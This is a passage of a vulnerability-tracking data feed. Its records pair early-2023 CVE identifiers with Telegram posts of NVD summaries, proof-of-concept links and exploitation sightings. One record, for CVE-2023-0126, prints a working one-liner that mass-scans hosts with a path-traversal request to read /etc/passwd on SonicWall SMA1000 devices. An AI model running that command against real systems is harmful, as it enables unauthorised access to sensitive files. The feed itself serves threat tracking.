"9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0158", "type": "seen", "source": "https://t.me/cibsecurity/56603", "content": "\u203c CVE-2023-0158 \u203c\n\nNLnet Labs Krill supports direct access to the RRDP repository content through its built-in web server at the \"/rrdp\" endpoint. Prior to 0.12.1 a direct query for any existing directory under \"/rrdp/\", rather than an RRDP file such as \"/rrdp/notification.xml\" as would be expected, causes Krill to crash. If the built-in \"/rrdp\" endpoint is exposed directly to the internet, then malicious remote parties can cause the publication server to crash. The repository content is not affected by this, but the availability of the server and repository can cause issues if this attack is persistent and is not mitigated.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-17T20:40:18.000000Z"}, {"uuid": "aa17177d-3cad-484a-b82c-72a60654a6fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0102", "type": "seen", "source": "https://t.me/cibsecurity/58256", "content": "\u203c CVE-2023-0102 \u203c\n\nLS ELECTRIC XBC-DN32U with operating system version 01.80 is missing authentication for its deletion command. This could allow an attacker to delete arbitrary files.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-15T20:49:46.000000Z"}, {"uuid": "43a492a4-b010-4577-9824-930c29de8ada", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0127", "type": "seen", "source": "https://t.me/cibsecurity/57943", "content": "\u203c CVE-2023-0127 \u203c\n\nA command injection vulnerability in the firmware_update command, in the device's restricted telnet interface, allows an authenticated attacker to execute arbitrary commands as root.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-11T20:28:20.000000Z"}, {"uuid": "3b0c35fb-04b8-43a4-a816-7c39381a414d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0149", "type": "seen", "source": "https://t.me/cibsecurity/57598", "content": "\u203c CVE-2023-0149 \u203c\n\nThe WordPrezi WordPress plugin through 0.8.2 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-06T22:29:32.000000Z"}, {"uuid": "b8160dfc-7307-4155-ad0e-670c45e5080d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0154", "type": "seen", "source": "https://t.me/cibsecurity/57594", "content": "\u203c CVE-2023-0154 \u203c\n\nThe GamiPress WordPress plugin before 1.0.9 does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-02-06T22:29:28.000000Z"}, {"uuid": "7af4678c-c867-4904-a1f5-d0e7674d4827", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0107", "type": "seen", "source": "https://t.me/cibsecurity/56104", "content": "\u203c CVE-2023-0107 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:36.000000Z"}, {"uuid": "47775b97-3c3b-4708-80e4-134eb507e2c2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0106", "type": "seen", "source": "https://t.me/cibsecurity/56103", "content": "\u203c CVE-2023-0106 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:35.000000Z"}, {"uuid": "1c953dd5-8492-4746-ae44-b1aefa13e38a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0112", "type": "seen", "source": "https://t.me/cibsecurity/56102", "content": "\u203c CVE-2023-0112 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:34.000000Z"}, {"uuid": "898105c6-0769-42a8-b61d-9cb43d3e1d83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0113", "type": "seen", "source": "https://t.me/cibsecurity/56108", "content": "\u203c CVE-2023-0113 \u203c\n\nA vulnerability was found in Netis Netcore Router. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the file param.file.tgz of the component Backup Handler. The manipulation leads to information disclosure. The attack can be launched remotely. The associated identifier of this vulnerability is VDB-217591.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T12:25:40.000000Z"}, {"uuid": "ecb88b30-1879-458d-aa6e-b1d37a8055b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0108", "type": "seen", "source": "https://t.me/cibsecurity/56107", "content": "\u203c CVE-2023-0108 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:41.000000Z"}, {"uuid": "1f510b03-4312-4b8a-b17d-c91e96b87741", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0111", "type": "seen", "source": "https://t.me/cibsecurity/56106", "content": "\u203c CVE-2023-0111 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:37.000000Z"}, {"uuid": "c8473560-74d4-4a06-91c5-059733d48b7a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0110", "type": "seen", "source": "https://t.me/cibsecurity/56105", "content": "\u203c CVE-2023-0110 \u203c\n\nCross-site Scripting (XSS) - Stored in GitHub repository usememos/memos prior to 0.10.0.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T07:25:36.000000Z"}, {"uuid": "8e82861a-1131-44a9-9adf-02262d72b3f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0114", "type": "seen", "source": "https://t.me/cibsecurity/56113", "content": "\u203c CVE-2023-0114 \u203c\n\nA vulnerability was found in Netis Netcore Router. It has been rated as problematic. Affected by this issue is some unknown functionality of the file param.file.tgz of the component Backup Handler. The manipulation leads to cleartext storage in a file or on disk. Local access is required to approach this attack. The identifier of this vulnerability is VDB-217592.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-07T12:25:48.000000Z"}, {"uuid": "bd615f01-2a21-4847-aeff-7bb232d926e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0125", "type": "seen", "source": "https://t.me/cibsecurity/56181", "content": "\u203c CVE-2023-0125 \u203c\n\nA vulnerability was found in Control iD Panel. It has been declared as problematic. Affected by this vulnerability is an unknown functionality of the component Web Interface. The manipulation of the argument Nome leads to cross site scripting. The attack can be launched remotely. The exploit has been disclosed to the public and may be used. The identifier VDB-217717 was assigned to this vulnerability.\n\n\ud83d\udcd6 Read\n\nvia \"National Vulnerability Database\".", "creation_timestamp": "2023-01-10T00:27:57.000000Z"}, {"uuid": "a060f9fc-aef4-4bb3-9af2-2de301d252b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/reverseame/3044", "content": "CVE-2023-0179: Linux kernel stack buffer overflow in nftables: PoC and writeup https://seclists.org/oss-sec/2023/q1/20", "creation_timestamp": "2026-07-30T01:01:51.141790Z"}, {"uuid": "1beb698c-4d0f-4af7-9f97-4544a3b128e7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3044", "content": "CVE-2023-0179: Linux kernel stack buffer overflow in nftables: PoC and writeup https://seclists.org/oss-sec/2023/q1/20", "creation_timestamp": "2026-08-02T20:15:15.261610Z"}, {"uuid": "b7bbb437-c5d5-49f3-964e-2daf29531ab0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/3044", "content": "CVE-2023-0179: Linux kernel stack buffer overflow in nftables: PoC and writeup https://seclists.org/oss-sec/2023/q1/20", "creation_timestamp": "2026-08-03T01:09:18.739484Z"}, {"uuid": "ec6e0456-ce48-4594-86bb-ada86b85dffa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "Telegram/geFIdEurthJC81uvedAy7Je7bmf61756WHWGo7im76vrTZM", "content": "", "creation_timestamp": "2026-09-02T01:00:13.894279Z"}, {"uuid": "2ce7ae57-ff90-4820-bdf3-b77382646a06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/426", "content": "\ud83d\udd25Needle (CVE-2023-0179) exploit", "creation_timestamp": "2023-02-03T10:11:03.000000Z"}, {"uuid": "fd4a9f3e-dd74-41d1-8bb0-783ce3ddc3a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/877", "content": "https://github.com/TurtleARM/CVE-2023-0179-PoC\n#github", "creation_timestamp": "2023-08-15T03:59:15.000000Z"}, {"uuid": "0912af56-6a30-4ed2-8d65-9ae77a72706b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0126", "type": "published-proof-of-concept", "source": "https://t.me/CNArsenal/1199", "content": "CVE-2023-0126 One Liner \u26a1\ufe0f\ud83d\udd25\n\nSonicWall SMA1000 -\u00a0 File Read Bug\n\nPOC:\n\ncat file.txt| while read host do;do curl -sk \"http://$host:8443/images//////////////////../../../../../../../../etc/passwd\" | grep -i 'root:' &amp;&amp; echo $host \"is VULN\";done\n\nFuente (Twitter): @HackerGautam\n\n#exploit   #poc", "creation_timestamp": "2023-09-28T07:39:29.000000Z"}, {"uuid": "f97c2aa0-b2f7-4d38-97b8-9b6b9c40ef95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/7572", "content": "#exploit\n1. CVE-2023-0179:\nLinux kernel stack buffer overflow in nftables\nhttps://seclists.org/oss-sec/2023/q1/20\n]-&gt; https://github.com/TurtleARM/CVE-2023-0179-PoC\n\n2. Security Audit of Git:\nCVE-2022-23521:\nTruncated Allocation Leading to Out of Bounds Write Via Large Number of Attributes\nCVE-2022-41903: \nOut of Bounds Memory Write in Log Formatting\nhttps://x41-dsec.de/security/research/news/2023/01/17/git-security-audit-ostif", "creation_timestamp": "2023-01-22T13:04:27.000000Z"}, {"uuid": "fe577970-23d0-46f8-a123-f91c1b84540f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0122", "type": "published-proof-of-concept", "source": "https://t.me/CyberSecurityTechnologies/8922", "content": "#Threat_Research\n1. Exploiting NVMe bug (CVE-2023-0122)\nhttps://www.cyberark.com/resources/threat-research-blog/nvme-new-vulnerabilities-made-easy\n2. Bypassing Bitlocker using a cheap logic analyzer on a Lenovo laptop...\nhttps://www.errno.fr/BypassingBitlocker", "creation_timestamp": "2023-08-27T13:24:01.000000Z"}, {"uuid": "18023d2d-1209-4c29-a4e7-b38f58e9404c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/sysodmins/16917", "content": "\u0412 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430 Netfilter \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c (CVE-2023-0179), \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043b\u044e\u0431\u043e\u0439 \u043a\u043e\u0434 \u0441 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 root.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u0432\u0441\u0435 \u043f\u0440\u0435\u0436\u043d\u0438\u0435 \u0432\u044b\u043f\u0443\u0441\u043a\u0438 \u044f\u0434\u0440\u0430 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 5.5. \u041d\u043e\u0432\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0442\u0430\u043a\u0436\u0435 \u0432\u043d\u0435\u0441\u0435\u043d\u0430 \u0432 \u0442\u0440\u0435\u043a\u0435\u0440\u044b Debian, Ubuntu \u0438 SUSE.\n\n\u0412\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0430\u0442\u0447\u0430 \u0434\u043b\u044f Linux \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d. \u041f\u043e\u043a\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435 \u0432\u044b\u0448\u043b\u043e, \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430 \u043c\u043e\u0436\u043d\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0441\u0442\u0432 \u0438\u043c\u0451\u043d \u043d\u0435\u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438 (sudo sysctl -w kernel.unprivileged_userns_clone=0)", "creation_timestamp": "2023-01-17T13:25:30.000000Z"}, {"uuid": "d677b354-59ae-49e4-838b-5b3f8df9e3ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/8270", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#\u6f0f\u6d1e\u5229\u7528\nName: *CVE-2023-0179-PoC*\nGithub: https://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-07-31T16:00:04.804529Z"}, {"uuid": "42c9897e-2123-4bf5-a2dc-0f7f789790fa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/CVEhub/8270", "content": "\ud83d\udc7eKEYWORD SERVICE \ud83c\udff7#\u6f0f\u6d1e\u5229\u7528\nName: *CVE-2023-0179-PoC*\nGithub: https://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-08-01T00:00:28.855467Z"}, {"uuid": "3361c42b-66aa-4ef1-bdbb-39f8f9bcfc2e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/1590", "content": "Needle (CVE-2023-0179) exploit\n\nhttps://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-08-04T03:00:05.296867Z"}, {"uuid": "dc8e4936-87e5-48de-a21f-fca27acea244", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "https://t.me/sysadm_in_up/1590", "content": "Needle (CVE-2023-0179) exploit\n\nhttps://github.com/H4K6/CVE-2023-0179-PoC", "creation_timestamp": "2026-08-05T00:00:57.297419Z"}, {"uuid": "62944a87-24c2-4c79-9093-b54a7f6f9f74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-06-07)", "content": "", "creation_timestamp": "2026-06-07T00:00:00.000000Z"}, {"uuid": "1940e704-da9f-43e1-8036-63221a5462f4", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/9f77883e-bd0a-4be4-a955-56ee7158ca7a", "content": "", "creation_timestamp": "2026-06-19T12:45:34.065919Z"}, {"uuid": "ff0313ee-e75a-4596-b306-b220ef04defd", "vulnerability_lookup_origin": "caeb2787-0d58-4236-9039-7c86c3e566f3", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0159", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/f29cf920-6de6-49d3-9951-538041621609", "content": "", "creation_timestamp": "2026-06-23T14:03:04.041368Z"}, {"uuid": "cdbb2ef4-ad6c-4eb4-92c1-df1ed02d6f6b", "vulnerability_lookup_origin": "c8fb6bf1-f81f-4cb8-95b1-eadbb3b54ee8", "author": "af0120d0-3dac-4a6a-974b-a9f33d2a9846", "vulnerability": "CVE-2023-0159", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/d27a28a4-ccc3-4a72-9066-7fce5b0cbb4d", "content": "", "creation_timestamp": "2026-06-30T09:23:08.660078Z"}, {"uuid": "318d030b-0fe3-4d6a-ada7-6362ebfa7301", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/9BtrUinGR09Vw-DDzgsbuAL7mkCqzQImOpJ5grPSV1xMots", "content": "", "creation_timestamp": "2026-08-27T12:00:03.797699Z"}, {"uuid": "ab7b207d-173d-43df-961f-63602f9a14a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "published-proof-of-concept", "source": "Telegram/9BtrUinGR09Vw-DDzgsbuAL7mkCqzQImOpJ5grPSV1xMots", "content": "", "creation_timestamp": "2026-08-28T00:00:47.766731Z"}, {"uuid": "2af0ba6c-dfa6-443e-a168-32cb8c8f4d34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/EchelonEyes/1088", "content": "\u041f\u043b\u044e\u0441 \u043f\u043e\u043f\u0443\u0442\u0430\u043b\u0438 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Netfilter\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-0179, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Netfilter. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u044f\u0434\u0440\u0430 Linux, \u043d\u0430\u0447\u0438\u043d\u0430\u044f \u0441 \u043a\u043e\u043c\u043c\u0438\u0442\u0430 f6ae9f1 \u0438 \u0437\u0430\u043a\u0430\u043d\u0447\u0438\u0432\u0430\u044f \u043a\u043e\u043c\u043c\u0438\u0442\u043e\u043c 696e1a48b1a1.\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044e \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430.\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439, \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c \u0434\u043e \u043d\u0435\u0432\u0435\u0440\u043e\u044f\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0441\u0442\u0430: \u043f\u0440\u0438 \u043f\u043e\u0434\u0441\u0447\u0451\u0442\u0435 \u0440\u0430\u0437\u043c\u0435\u0440\u0430 \u0434\u0430\u043d\u043d\u044b\u0445, \u0438\u0437\u0432\u043b\u0435\u043a\u0430\u0435\u043c\u044b\u0445 \u0438\u0437 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430 VLAN, \u0432 \u0444\u0440\u0430\u0433\u043c\u0435\u043d\u0442\u0435 \u043a\u043e\u0434\u0430 \u043f\u0435\u0440\u0435\u043f\u0443\u0442\u0430\u043d \u0437\u043d\u0430\u043a \u043f\u043b\u044e\u0441\u0430 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c, \u0432 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0447\u0435\u0433\u043e \u0441\u043b\u0443\u0447\u0430\u043b\u043e\u0441\u044c \u0446\u0435\u043b\u043e\u0447\u0438\u0441\u043b\u0435\u043d\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0438 \u0437\u0430\u043f\u0438\u0441\u044c \u0432\u043d\u0435 \u0431\u0443\u0444\u0435\u0440\u0430. \n\n\u041f\u043e\u043a\u0430 \u043d\u0435 \u0431\u044b\u043b\u043e \u0437\u0430\u043c\u0435\u0447\u0435\u043d\u043e, \u0447\u0442\u043e\u0431\u044b \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438, \u043e\u0434\u043d\u0430\u043a\u043e \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0443\u0436\u0435 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b\u0438 \u043f\u0440\u0438\u043c\u0435\u0440 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0433\u043e \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u0430, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438 \u043f\u0430\u0442\u0447, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0449\u0438\u0439 \u043e\u0448\u0438\u0431\u043a\u0443.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438: \nhttps://security-tracker.debian.org/tracker/CVE-2023-0179 \n\nhttps://www.openwall.com/lists/oss-security/2023/01/13/2 \n\n#\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #Linux", "creation_timestamp": "2026-07-26T02:02:31.731969Z"}, {"uuid": "80927d0b-bbf8-4b5b-a904-843794720eb9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-0179", "type": "seen", "source": "https://t.me/EchelonEyes/1088", "content": "\u041f\u043b\u044e\u0441 \u043f\u043e\u043f\u0443\u0442\u0430\u043b\u0438 \u0441 \u043c\u0438\u043d\u0443\u0441\u043e\u043c \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Netfilter\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u043d\u043e\u0432\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Linux. \u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043f\u043e\u043b\u0443\u0447\u0438\u0432\u0448\u0430\u044f \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440 CVE-2023-0179, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u0431\u0443\u0444\u0435\u0440\u0430 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 Netfilter. \u041e\u0448\u0438\u0431\u043a\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u0432 